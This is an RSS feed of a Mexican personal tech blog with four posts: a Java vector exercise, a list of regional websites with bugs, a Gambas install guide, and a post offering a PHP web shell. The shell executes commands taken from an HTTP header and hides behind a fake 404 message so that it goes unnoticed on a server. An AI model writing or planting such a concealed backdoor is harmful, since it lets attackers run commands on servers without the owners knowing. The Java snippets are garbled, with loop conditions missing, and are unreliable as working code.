<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Desde Mexicali Baja California Mexico, Soycachanilla.com &#187; Programación</title>
	<atom:link href="http://soycachanilla.com/tag/programacion/feed/" rel="self" type="application/rss+xml" />
	<link>http://soycachanilla.com</link>
	<description>Soy un Cachanilla informático que le gusta hablar, aprender e informarse sobre tecnologías, computadoras, Internet, software libre, linux, música, su alrededor, el mundo en el que vive y alguna que otra tontería interesante.</description>
	<lastBuildDate>Fri, 10 Feb 2012 18:55:41 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Retomando la programación</title>
		<link>http://soycachanilla.com/2009/03/retomando-la-programacion.html</link>
		<comments>http://soycachanilla.com/2009/03/retomando-la-programacion.html#comments</comments>
		<pubDate>Fri, 13 Mar 2009 05:53:00 +0000</pubDate>
		<dc:creator>danielmd</dc:creator>
				<category><![CDATA[Programación]]></category>
		<category><![CDATA[Mexicali]]></category>

		<guid isPermaLink="false">http://labajaenred.wordpress.com/2009/03/13/retomando-la-programacion/</guid>
		<description><![CDATA[Hace tres días platicaba con un amigo que trabaja como programador en una empresa donde casi todos sus compañeros programadores renunciaron y se quedo prácticamente solo, puesto que el otro programador que trabaja con el es un estudiante y pues no es experto en el lenguaje que ellos manejan, aparte me dice que el morrillo [...]]]></description>
			<content:encoded><![CDATA[<p>Hace tres días platicaba con un amigo que trabaja como programador en una empresa donde casi todos sus compañeros programadores renunciaron y se quedo prácticamente solo, puesto que el otro programador que trabaja con el es un estudiante y pues no es experto en el lenguaje que ellos manejan, aparte me dice que el morrillo esta bien ñoño y que al parecer no sabe programar muy bien que digamos.</p>
<p>Y pues gracias a esta platica me sentí un poco motivado por programar para no oxidarme, bueno si he seguido programando pero en <span class="blsp-spelling-error">PHP</span> y un poco de gambas 2,  el primero es un lenguaje de programación <span class="blsp-spelling-error">web</span> y el segundo pues nunca he escuchado de una empresa o alguien que programe en gambas aquí en <span class="blsp-spelling-error">Mexicali</span>.</p>
<p>Gracias a <span class="blsp-spelling-error">twitter</span> el otro día vi que <a href="http://twitter.com/putrick">@<span class="blsp-spelling-error">putrick</span></a> estaba hablando de unas practicas que le dejaron y pues como las de la <span class="blsp-spelling-error">uni</span> ya están bien quemadas decidí pedirle sus practicas <span class="blsp-spelling-error">xD</span> para hacerlas y seguir practicando, según las iba empezar hacer ese mismo día que me las paso pero me puse a <span class="blsp-spelling-error">mensiar</span> y no hice nada, lo <span class="blsp-spelling-corrected">único</span> que hice fue descargar el <span class="blsp-spelling-error">netbeans</span> 6.5 porque en <span class="blsp-spelling-error">windows</span> solo tenia mi <span class="blsp-spelling-error">super</span> <span class="blsp-spelling-error">poderozo</span> <span class="blsp-spelling-error">chingonsisisisisisisismo</span> <span style="font-weight:bold;"><span class="blsp-spelling-error">Netbeans</span> 3.2</span>!! una ves descargado lo instale pero hasta ahí la deje <img src='http://soycachanilla.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> . Pero ayer lo abrí todo decidido y me puse a programar la primera practica que es de vectores,  la practica esta fácil pero creo que me engrane mucho en las validaciones y se hizo un poco larga <span class="blsp-spelling-error">jaja</span>.</p>
<p>350 lineas de código <span class="blsp-spelling-error">constituyen</span> este programa donde el método mas corto que pude hacer fue el de copiar un vector a otro, método por el cual una ves fui regañado por mi <span class="blsp-spelling-error">queridisima</span> maestra <span class="blsp-spelling-error">Quizán</span> de la <span class="blsp-spelling-error">uni</span>, la que una ves me dijo, <span style="font-weight:bold;color:#ff0000;">&#8220;Ahora me toca revisarle a mi consentido&#8221;</span> :O!!! un amigo me odio toda la carrera al escuchar eso <span class="blsp-spelling-error">jaja</span>. Bueno, la regañada se <span class="blsp-spelling-corrected">debió</span> a que mi <span class="blsp-spelling-error">profe</span> quería que creara un método donde fuera enviando dato x dato de un vector a otro utilizando un ciclo, Después de la explicada le respondí: <span style="font-style:italic;">¿Que no se supone que la programación debe facilitar las cosas? ya se que sirve para practicar pero que diablos! lo que yo quiero es ahorrar lineas de código u_u&#8217;</span> , quitando lo de que diablos fue lo que le respondí, de todas formas al final me hizo hacerlo como ella quería <span class="blsp-spelling-error">duhh</span>..<br />
<span id="more-185"></span><br />
<span style="font-weight:bold;">Método copiar:</span> Le envió como parámetro que vector quiere copiar, si es 1 copia el contenido de A a B y si es 2 pues B a A al igual que sus contadores, después de eso llamo al método <span style="font-weight:bold;">imprime_<span class="blsp-spelling-error">cont</span></span> para imprimir los contadores en los <span class="blsp-spelling-error">TextFields</span></p>
<blockquote><p><span class="blsp-spelling-error">void</span> <span style="font-weight:bold;">copiar</span>(<span class="blsp-spelling-error">int</span> x)<br />
{<br />
<span class="blsp-spelling-error">if</span>(x==1)<br />
{ B=A; <span class="blsp-spelling-error">tb</span>=<span class="blsp-spelling-error">ta</span>;}<br />
<span class="blsp-spelling-error">if</span>(x==2)<br />
{ A=B; <span class="blsp-spelling-error">ta</span>=<span class="blsp-spelling-error">tb</span>;}<br />
imprime_<span class="blsp-spelling-error">cont</span>(<span class="blsp-spelling-error">ta</span>,<span class="blsp-spelling-error">tb</span>);<br />
}</p></blockquote>
<p>Bueno, no cierto! el método mas corto es este<br />
Método imprime <span class="blsp-spelling-error">ta</span> y <span class="blsp-spelling-error">tb</span></p>
<blockquote><p><span class="blsp-spelling-error">void</span> <span style="font-weight:bold;">imprime_<span class="blsp-spelling-error">cont</span></span>(<span class="blsp-spelling-error">int</span> <span class="blsp-spelling-error">ta</span>, <span class="blsp-spelling-error">int</span> <span class="blsp-spelling-error">tb</span>){<br />
campo_<span class="blsp-spelling-error">ta</span>.<span class="blsp-spelling-error">setText</span>(<span class="blsp-spelling-error">ta</span>+&#8221;");<br />
campo_<span class="blsp-spelling-error">tb</span>.<span class="blsp-spelling-error">setText</span>(<span class="blsp-spelling-error">tb</span>+&#8221;");<br />
}</p></blockquote>
<p><a href="http://2.bp.blogspot.com/_lKXHiMxyf7o/Sbn7AvZ4mZI/AAAAAAAAAbU/eu9BV3wgYy4/s1600-h/Dibujo.PNG"><img style="margin: 0pt auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 312px;" src="http://2.bp.blogspot.com/_lKXHiMxyf7o/Sbn7AvZ4mZI/AAAAAAAAAbU/eu9BV3wgYy4/s400/Dibujo.PNG" border="0" alt="" /></a><br />
Para la ordenación utilice el <span class="blsp-spelling-corrected">método</span> de la burbuja(creo) o será el de <span class="blsp-spelling-corrected">inserción</span> que se supone no debía de utilizar? la neta no recuerdo cual es cual, solo hice el que me acordaba <span class="blsp-spelling-error">jaja</span>.</p>
<blockquote><p>void ordenar(int vec[],int t){<br />
int z,y,tempo;<br />
for(z=0; zvec[y])<br />
{<br />
tempo=vec[z];<br />
vec[z]=vec[y];<br />
vec[y]=tempo;</p>
<p>}<br />
}<br />
}<br />
imprime_cont(ta,tb);<br />
}</p></blockquote>
<p>Bueno bueno, sigo. Para las altas me complique la existencia ya que quería practicar de todo y en ves de hacer un <span class="blsp-spelling-corrected">método</span> y mandarle dos <span class="blsp-spelling-corrected">parámetros</span> que fueran A que es el vector y su contador, solo <span class="blsp-spelling-corrected">envié</span> el número de opción del <span class="blsp-spelling-corrected">menú</span> para hacer uso del <span class="blsp-spelling-error">switch</span>(x) y entrar al case 1 o 2.</p>
<blockquote><p><span style="font-weight:normal;"> </span><span style="font-weight:normal;">case 1:<br />
n=Integer.parseInt(JOptionPane.showInputDialog(&#8220;Cuantos números quieres dar de alta?&#8221;));<br />
if(n+ta=1){<br />
A[ta]=Integer.parseInt(JOptionPane.showInputDialog(&#8220;&#8221;+(1+ta)+&#8221; Dame el Número:&#8221;));<br />
ta++;<br />
n&#8211;;<br />
}<br />
}<br />
else<br />
JOptionPane.showMessageDialog(null,&#8221;Quedan &#8220;+(50-ta)+&#8221; espacios en el vector&#8221;);<br />
break;</span></p></blockquote>
<p>La validación no permite que metan mas registros de los que quedan en el vector ya que solo admite 50 <img src='http://soycachanilla.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>La opción de inicializar pues fue la mas pelada ya que solo <span class="blsp-spelling-error">resetie</span> los 2 contadores que pude no haber necesitado pero la practica <span class="blsp-spelling-corrected">decía</span> que <span class="blsp-spelling-error">awebo</span> los tenia que usar <span class="blsp-spelling-error">jaja</span>.</p>
<blockquote><p><span class="blsp-spelling-error">ta</span>=0; <span class="blsp-spelling-error">jTextArea</span>1.<span class="blsp-spelling-error">setText</span>(&#8220;Vector A <span class="blsp-spelling-corrected">Vació<br />
pan&gt;&#8221;);<br />
<span class="blsp-spelling-error">tb</span>=0; <span class="blsp-spelling-error">jTextArea</span>2.<span class="blsp-spelling-error">setText</span>(&#8220;Vector B <span class="blsp-spelling-corrected">Vació</span>&#8220;);</span></p></blockquote>
<p>En la <span style="font-weight:bold;"><span class="blsp-spelling-corrected">buscar(int A[],int ta)</span>, </span><span class="blsp-spelling-corrected">envié</span> 2 <span class="blsp-spelling-corrected">parámetros</span>, que son: el vector y su contador después comparo dato por dato con un ciclo y cada que encuentra el dato buscado muestra la posición en un JMessage<br />
void buscar(int A[],int ta){<br />
int busca,b=0,y;<br />
busca=Integer.parseInt(JOptionPane.showInputDialog(&#8220;Que número buscas?:&#8221;));<br />
for(y=0;y<span class="blsp-spelling-error">ahorita</span> volví a correr el programa y me acabo de dar cuenta que tengo un error en la última opción u_u&#8217; creo que no le entendí bien a lo que quería&#8230;..</p>
<p>Al rato edito ya que lo corrija.</p>
<p>Edito: 2:00am jaja..<br />
Bueno, no arregle el error pero si agregue los demás métodos <img src='http://soycachanilla.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /><br />
<span style="font-weight:bold;"><br />
</span></p>
]]></content:encoded>
			<wfw:commentRss>http://soycachanilla.com/2009/03/retomando-la-programacion.html/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Top 20 paginas de BC con errores de programación</title>
		<link>http://soycachanilla.com/2009/02/top-20-paginas-de-bc-con-errores-de-programacion.html</link>
		<comments>http://soycachanilla.com/2009/02/top-20-paginas-de-bc-con-errores-de-programacion.html#comments</comments>
		<pubDate>Sat, 14 Feb 2009 21:53:00 +0000</pubDate>
		<dc:creator>danielmd</dc:creator>
				<category><![CDATA[Buenas acciones.]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Cachanilla]]></category>
		<category><![CDATA[Ensenada]]></category>
		<category><![CDATA[errores]]></category>
		<category><![CDATA[Mexicali]]></category>
		<category><![CDATA[Tijuana]]></category>

		<guid isPermaLink="false">http://labajaenred.wordpress.com/2009/02/14/top-20-paginas-de-bc-con-errores-de-programacion/</guid>
		<description><![CDATA[Buena acción del día número #3 Esta lista la hice el año pasado y se me había olvidado hacerla pública, así que hoy salen a la luz todas estas webs que contienen algún error de programación en ella, por lo tanto BAD NEWS!. El orden no tiene nada que ver, todas tienen algo jodido, en [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><strong>Buena acción del día número #3</strong></p>
<p>Esta lista la hice el año pasado y se me había olvidado hacerla pública, así que hoy salen a la luz todas estas webs que contienen algún error de programación en ella, por lo tanto BAD NEWS!.</p>
<p>El orden no tiene nada que ver, todas tienen algo jodido, en algunas es una tontería y en otras algo mas hardcore.</p>
<div style="text-align:center;"><span style="color:#33ccff;font-size:180%;"><span style="font-weight:bold;">Top 20<br />
</span></span></p>
<div style="text-align:left;">1.- fiestasdelsol.com.mx<br />
2.- seriedelcaribe2009.net<br />
3.- radiopatrulla.com<a href="http://2.bp.blogspot.com/_lKXHiMxyf7o/SZdLiJ5chbI/AAAAAAAAAYM/-rmCBI_7GIE/s1600-h/bannerfix.gif"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 200px; height: 200px;" src="http://2.bp.blogspot.com/_lKXHiMxyf7o/SZdLiJ5chbI/AAAAAAAAAYM/-rmCBI_7GIE/s400/bannerfix.gif" border="0" alt="" /></a><br />
4.- famsa.com<br />
5.- ligadelpacifico.com.mx<br />
6.- mexicaliturismo.com<br />
7.- mafratijuana.com<br />
8.- www.mxl.cetys.mx<br />
9.- campus.mxl.uabc.mx<br />
10.- conalep.edu.mx<br />
11.- intercampusweb.com<br />
12.- starcinemas.net<br />
13.- cinepolis.com.mx<br />
14.- muebleslunanueva.com<br />
15.- www.univer.com.mx<br />
16.- plazalacachanilla.com<br />
17.- casaley.com.mx<br />
18.- laventanadeensenada.com<br />
19.- empleosdetijuana.com<br />
20.- cecytebc.edu.mx</div>
</div>
<p><span style="font-weight:bold;">Edito:</span> Agrego los pilones.<br />
21.- faspdesigns.com<br />
22.- eventosvip.com  &lt;&#8211; Horrible diseño, parece estar hecha en FrontPage.</p>
<p>Si alguna es de ustedes, chekenla <img src='http://soycachanilla.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<div style="text-align:right;">Como dirían los de Soda Estéreo, Nada!! oh! oh! oh! nada personal.<br />
oh ! oh! oh!..</div>
]]></content:encoded>
			<wfw:commentRss>http://soycachanilla.com/2009/02/top-20-paginas-de-bc-con-errores-de-programacion.html/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Damn small shell v 0.2</title>
		<link>http://soycachanilla.com/2009/02/damn-small-shell-v-02.html</link>
		<comments>http://soycachanilla.com/2009/02/damn-small-shell-v-02.html#comments</comments>
		<pubDate>Fri, 13 Feb 2009 23:06:00 +0000</pubDate>
		<dc:creator>danielmd</dc:creator>
				<category><![CDATA[Programación]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[shell]]></category>

		<guid isPermaLink="false">http://labajaenred.wordpress.com/2009/02/13/damn-small-shell-v-02/</guid>
		<description><![CDATA[Un pequeño script anti-tontos en php, lo suben a su servidor y pueden ejecutar comandos como si fuera la consola de linux o el cmd de windows. He hecho lo posible por que pase desapersivido el archivo, si intentan entrar desde navegador aparecerá :404 &#8211; Archivo no encontrado, pero pueden cambiarlo por un NOT FOUND [...]]]></description>
			<content:encoded><![CDATA[<p>Un pequeño script anti-tontos en php, lo suben a su servidor y pueden ejecutar comandos como si fuera la consola de linux o el cmd de windows.</p>
<p>He hecho lo posible por que pase desapersivido el archivo, si intentan entrar desde navegador aparecerá :<span style="font-weight:bold;">404 &#8211; Archivo no encontrado</span>, pero pueden cambiarlo por un NOT FOUND o lo que quieran y así si alguien externo a ustedes lo encuentra no sabrá que onda xD</p>
<p><span style="font-weight:bold;">Forma de usarlo:</span> ^^ averiguenla si son buenos con el php <img src='http://soycachanilla.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><span style="font-weight:bold;">Les dejo el Script</span>.<br />
<blockquote>Inicio PHP<br />$var=getenv(&#8216;HTTP_ACCEPT_dmd&#8217;);<br />echo&#8217;<span style="font-weight:bold;">404 &#8211; Archivo no encontrado</span>&#8216;;<br />echo &#8220;\n\n&#8221;;<br />$a=$var; $var=0;<br />if(strstr($a,&#8217;xD&#8217;)==&#8217;xD&#8217;)<br />{echo `$a`;}<br />Fin PHP</p></blockquote>
<p><span style="font-weight:bold;">Así debe quedar.</span><br /><a href="http://1.bp.blogspot.com/_lKXHiMxyf7o/SZYI0shO99I/AAAAAAAAAXc/EjDSZ7GA0bM/s1600-h/Dibujo.PNG"><img style="display:block;text-align:center;cursor:pointer;width:323px;height:166px;margin:0 auto 10px;" src="http://1.bp.blogspot.com/_lKXHiMxyf7o/SZYI0shO99I/AAAAAAAAAXc/EjDSZ7GA0bM/s400/Dibujo.PNG" alt="" border="0" /></a>Funciona tanto en windows como en linux, claro! teniendo php instalado en el servidor.</p>
<p><span style="font-weight:bold;">WINDOWS</span>  un <span style="font-weight:bold;">Dir C</span>:<br />
<blockquote> El volumen de la unidad C no tiene etiqueta.<br />El n£mero de serie del volumen es: E8A0-7E45<br />Directorio de C:\AppServ\www<br />12/02/2009  17:52              .<br />12/02/2009  17:52              ..<br />29/08/2008  06:50             6.205 Affiliates_v1-1.zip<br />27/10/2008  17:5027/10/2008  16:53           331.370 ajax_im_3.41_yui.zip<br />07/09/2008  18:50              appserv<br />06/02/2009  19:25              carma<br />07/09/2008  18:50              cgi-bin<br />29/08/2008  06:47           393.312 Classv1_20Beta.zip</p></blockquote>
<p><span style="font-weight:bold;">LINUX</span> un<span style="font-weight:bold;"> ls -al;</span><br />
<blockquote>-rw-r&#8211;r&#8211;   1 daniel  daniel   490 Nov  3  2008 index.html<br />-rw-r&#8211;r&#8211;   1 daniel  daniel  2540 Jul 16 12:42 archivo.html<br />-rw-r&#8211;r&#8211;   1 daniel  daniel  3668 Nov  3  2008 zuper.php<br />lrwxr-xr-x   1 root    www       36 Nov 20  2008 stat -&gt; /home/awstats/<br />-rwxr-xr-x   1 daniel  daniel   221 Nov  3  2008 style.css<br />-rw-r&#8211;r&#8211;   1 daniel  daniel   490 Nov  3  2008 car<br />-rwxr-xr-x   1 daniel  daniel  1086 Nov  3  2008 dan.htm<br />-rw-r&#8211;r&#8211;   1 daniel  daniel  8014 Nov  3  2008 youknow.gif</p></blockquote>
<p><span style="font-weight:bold;">Algunos comandos para unix</span><br />ls -al &lt;&#8211;lista todos los archivos y los permisos<br />find y locate &lt;&#8211; son para búsqueda de archivos.<br />mv &lt;&#8211; mover archivos y directorios.<br />mkdir&lt;&#8211;crea directorios<br />rm &lt;&#8211; remover archivos y directorios<br />wget&lt;&#8211; descargar archivos al igual que<br />curl echo &lt;&#8211;mostrar mensajes y escribir en archivos<br />pwd &lt;&#8211; muestra la ruta en la que te encuentras<br />cd &lt;&#8211; para subir y bajar directorios<span style="font-weight:bold;"><br /></span><span style="font-weight:bold;"><br />Algunos comandos para windows.<br /></span> dir &lt;&#8211; mostrar directorios<br />copy &lt;&#8211;copiar archivos y directorios<br />rename &lt;&#8211;renombrar archivos y directorios<br />mkdir &lt;&#8211;crear direcotorios<br />rmdir &lt;&#8211;remover directorios o archivos<br />tree &lt;&#8211;arbol de directorios Hay mas pero son los que me acuerdo ahorita, búsquenle en google.</p>
<p><a href="http://www.google.com.mx/search?q=comandos+cmd&amp;ie=utf-8&amp;oe=utf-8&amp;aq=t&amp;rls=org.mozilla:es-ES:official&amp;client=firefox-a">Comandos para cmd</a><br /><a href="http://www.google.com.mx/search?num=100&amp;hl=es&amp;client=firefox-a&amp;rls=org.mozilla%3Aes-ES%3Aofficial&amp;hs=btS&amp;q=comandos+unix&amp;btnG=Buscar&amp;meta=">Comandos para unix</a></p>
<p><span style="font-weight:bold;">¿Que es getenv?</span><br />Obtiene el contenido de una variable de entorno DOS<br /><span style="font-weight:bold;"> </span><br />
<blockquote><span style="font-weight:bold;">Sintaxis </span><br />     <span style="font-weight:bold;">GETENV</span>() &#8211;&gt; cCadena<br /><span style="font-weight:bold;"> Argumentos </span><br />      es el nombre de la variable de entorno del DOS. Cuando se especifica este argumento, puede utilizarse cualquier combinación de letras mayúsculas y minúsculas; <span style="font-weight:bold;">GETENV()</span> no es sensible a las mayúsculas y minúsculas.<br /><span style="font-weight:bold;"> Devuelve </span><br />     <span style="font-weight:bold;">GETENV()</span> devuelve el contenido de la variable de entorno del DOS especificada como una cadena de caracteres. Si no se puede localizar la variable, GETENV() devuelve una cadena nula (&#8220;&#8221;).<br /><span style="font-weight:bold;"> Descripción </span><br />     <span style="font-weight:bold;">GETENV()</span> es una función de entorno que le permite obtener información del entorno DOS en un programa de aplicación. Normalmente, ésta es la información de la configuración, incluyendo los nombres de vía que proporcionan la situación de los ficheros (base de datos, índice, etiqueta o informes). Esta función es particularmente útil en entornos de red. </p></blockquote>
<p><span style="font-weight:bold;">Mas info de getenv</span>: <a href="http://www.tinet.org/%7Epcarmona/clipper/clipperfg.htm">tinet.org</a></p>
<p>Sale bitches a ponerse a pensar un rato <img src='http://soycachanilla.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />
<div class="blogger-post-footer">
</div>
]]></content:encoded>
			<wfw:commentRss>http://soycachanilla.com/2009/02/damn-small-shell-v-02.html/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Que es Gambas y como instalarlo en ubuntu 8.10</title>
		<link>http://soycachanilla.com/2008/12/que-es-gambas-y-como-instalarlo-en-ubuntu-810.html</link>
		<comments>http://soycachanilla.com/2008/12/que-es-gambas-y-como-instalarlo-en-ubuntu-810.html#comments</comments>
		<pubDate>Fri, 26 Dec 2008 06:56:00 +0000</pubDate>
		<dc:creator>danielmd</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Software libre]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[gambas 9.10]]></category>
		<category><![CDATA[gambas2]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://labajaenred.wordpress.com/2008/12/26/que-es-gambas-y-como-instalarlo-en-ubuntu-810/</guid>
		<description><![CDATA[Un amigo me pregunto por el msn que si sabía programar en gambas y yo le dije que no, que no sabía ni que chingados era esa cosa , me platico lo que era, pero le hice al loco y me fui de mi casa, regrese, cerré la ventana del msn y ya no pude [...]]]></description>
			<content:encoded><![CDATA[<p>Un amigo me pregunto por el <span class="blsp-spelling-error">msn</span> que si sabía programar en gambas y yo le dije que no, que no sabía ni que chingados era esa cosa <img src='http://soycachanilla.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> ,  me platico lo que era, pero le hice al loco y me fui de mi casa, regrese, cerré la ventana del <span class="blsp-spelling-error">msn</span> y ya no pude ver lo que me dijo <span class="blsp-spelling-error">jaja</span>.</p>
<p>Como no guardo las conversaciones tuve que preguntarle a google y esto fue lo que respondió.</p>
<p><span style="font-weight:bold;">¿Que es Gambas?</span></p>
<blockquote><p><span style="font-weight:bold;">Gambas</span> es un entorno de desarrollo integrado para la creación de todo tipo de aplicaciones sobre sistemas GNU/Linux. Basado en el lenguaje de programación <span class="blsp-spelling-error">BASIC</span>, ofrece todas las facilidades para generar aplicaciones de todo tipo:</p>
<ul>
<li>Aplicaciones de texto</li>
<li>Aplicaciones gráficas basadas en <span class="blsp-spelling-error">GTK</span>+/<span class="blsp-spelling-error">Gnome</span> y <span class="blsp-spelling-error">QT</span>/<span class="blsp-spelling-error">KDE</span></li>
<li>Servicios <span class="blsp-spelling-error">Web</span></li>
<li>Gestión de bases de datos: MySQL, <span class="blsp-spelling-error">PostgreSQL</span>, <span class="blsp-spelling-error">Firebird</span>, <span class="blsp-spelling-error">SQLite</span>, <span class="blsp-spelling-error">ODBC</span></li>
<li>Redes: <span class="blsp-spelling-error">sockets</span>, HTTP, FTP</li>
<li>Trabajo con <span class="blsp-spelling-error">XML</span> y <span class="blsp-spelling-error">XSLT</span></li>
<li>Diseño gráfico en 2D y 3D: <span class="blsp-spelling-error">SDL</span>, <span class="blsp-spelling-error">OpenGL</span></li>
<li>Empaquetado y despliegue sencillo de aplicaciones en diferentes distribuciones</li>
<li><span class="blsp-spelling-error">Internacionalización</span>: Soporte integrado de traducción de aplicaciones.</li>
</ul>
</blockquote>
<p>Vía: <a href="http://gambas.gnulinex.org/web/">Proyecto <span class="blsp-spelling-error">Gnulinex</span> en español</a><br />
También tiene un libro en formato  <span class="blsp-spelling-error">sxw</span>.y lo pueden descargar para verlo con <span class="blsp-spelling-error">openoffice</span></p>
<p>http://gambas.gnulinex.org/libro/</p>
<div style="text-align:center;font-weight:bold;"><span style="font-size:100%;">Instalándolo en <span class="blsp-spelling-error">Ubuntu</span> 8.10</span></div>
<p>1.- Abrimos una consola y escribimos :</p>
<blockquote><p>sudo <span class="blsp-spelling-error">aptitude</span> <span class="blsp-spelling-error">install</span> gambas2</p></blockquote>
<p><a href="http://2.bp.blogspot.com/_lKXHiMxyf7o/SVSYw06kWYI/AAAAAAAAAQc/zQslU5tvTlI/s1600-h/Pantallazo.png"><img style="margin: 0pt auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 82px;" src="http://2.bp.blogspot.com/_lKXHiMxyf7o/SVSYw06kWYI/AAAAAAAAAQc/zQslU5tvTlI/s320/Pantallazo.png" border="0" alt="" /></a><a href="http://1.bp.blogspot.com/_lKXHiMxyf7o/SVSOUjLwDzI/AAAAAAAAAO8/8ZcHMkLz6Gc/s1600-h/Pantallazo-1.png"><img style="margin: 0pt auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_lKXHiMxyf7o/SVSOUjLwDzI/AAAAAAAAAO8/8ZcHMkLz6Gc/s320/Pantallazo-1.png" border="0" alt="" /></a>comienzan a leerse los paquetes que necesitaremos y por ultimo nos dirá que se ocupan descargar 23 megas, le decimos que si escribiendo una &#8220;Y&#8221; y presionamos <span class="blsp-spelling-error">enter</span> para que los descargue.</p>
<p>Otra forma que encontré para instalarlo es <a href="http://www.emete.es/node/16">www.emete.es/node/16</a>, solo que es para <span class="blsp-spelling-error">Ubuntu</span> <span class="blsp-spelling-error">Feisty</span> y no se si para el <span class="blsp-spelling-error">hardy</span> sea igual.</p>
<p>Si todo salio bien, ahora podemos ver la siguiente <span class="blsp-spelling-corrected">pantalla</span> de bienvenida donde vemos el <span class="blsp-spelling-corrected">menú</span> para crear nuevos proyectos y algunos buenos ejemplos con los que cuenta gambas.</p>
<p><a href="http://1.bp.blogspot.com/_lKXHiMxyf7o/SVSREiKg1GI/AAAAAAAAAPE/weiY4qhEAdE/s1600-h/Pantallazo-2.png"><img style="margin: 0pt auto 10px; display: block; text-align: center; cursor: pointer; width: 294px; height: 320px;" src="http://1.bp.blogspot.com/_lKXHiMxyf7o/SVSREiKg1GI/AAAAAAAAAPE/weiY4qhEAdE/s320/Pantallazo-2.png" border="0" alt="" /></a><br />
<span class="blsp-spelling-corrected">Abrí</span> uno de los ejemplos que vienen ahí, pero a la hora de intentar correrlo no me dejo porque dice que solo los puedo leer <img src='http://soycachanilla.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' />  <span class="blsp-spelling-error">sad</span>..</p>
<p><a href="http://3.bp.blogspot.com/_lKXHiMxyf7o/SVSREzCl-LI/AAAAAAAAAPM/aaYzQCoN-II/s1600-h/Pantallazo-3.png"><img style="margin: 0pt auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 271px;" src="http://3.bp.blogspot.com/_lKXHiMxyf7o/SVSREzCl-LI/AAAAAAAAAPM/aaYzQCoN-II/s320/Pantallazo-3.png" border="0" alt="" /></a>De todas formas leyendo el código pude hacer un pequeño ejemplo al puro estilo del hola mundo.</p>
<div style="text-align:center;font-weight:bold;">Ejemplo de programación con gambas 2.7.</div>
<p>1.-Damos <span class="blsp-spelling-error">click</span> en el <span class="blsp-spelling-corrected">botón</span> donde dice <span style="font-weight:bold;">Nuevo proyecto</span><br />
<a href="http://1.bp.blogspot.com/_lKXHiMxyf7o/SVSREiKg1GI/AAAAAAAAAPE/weiY4qhEAdE/s1600-h/Pantallazo-2.png"><img style="margin: 0pt auto 10px; display: block; text-align: center; cursor: pointer; width: 294px; height: 320px;" src="http://1.bp.blogspot.com/_lKXHiMxyf7o/SVSREiKg1GI/AAAAAAAAAPE/weiY4qhEAdE/s320/Pantallazo-2.png" border="0" alt="" /></a>2.-Seleccionamos la primera <span class="blsp-spelling-corrected">opción</span> que dice: Aplicación Gráfica y damos siguiente.</p>
<p><a href="http://1.bp.blogspot.com/_lKXHiMxyf7o/SVSSVmgAq0I/AAAAAAAAAPU/8de3hpKNcok/s1600-h/Pantallazo-4.png"><img style="margin: 0pt auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_lKXHiMxyf7o/SVSSVmgAq0I/AAAAAAAAAPU/8de3hpKNcok/s320/Pantallazo-4.png" border="0" alt="" /></a><br />
3.-<span class="blsp-spelling-corrected">Seleccionamos</span> el directorio donde vamos a guardar el proyecto</p>
<p><a href="http://4.bp.blogspot.com/_lKXHiMxyf7o/SVSSVwkmcRI/AAAAAAAAAPc/RfYvEf7U_Fc/s1600-h/Pantallazo-5.png"><img style="margin: 0pt auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_lKXHiMxyf7o/SVSSVwkmcRI/AAAAAAAAAPc/RfYvEf7U_Fc/s320/Pantallazo-5.png" border="0" alt="" /></a>4.-Escribimos el nombre del proyecto, un titulo y damos <span class="blsp-spelling-error">ok</span>.</p>
<p><a href="http://4.bp.blogspot.com/_lKXHiMxyf7o/SVSSWNEBXgI/AAAAAAAAAPk/efJtvtGth3k/s1600-h/Pantallazo-6.png"><img style="margin: 0pt auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_lKXHiMxyf7o/SVSSWNEBXgI/AAAAAAAAAPk/efJtvtGth3k/s320/Pantallazo-6.png" border="0" alt="" /></a>5.-Nos aparece una forma donde crearemos un pequeño <span class="blsp-spelling-corrected">botón</span>.</p>
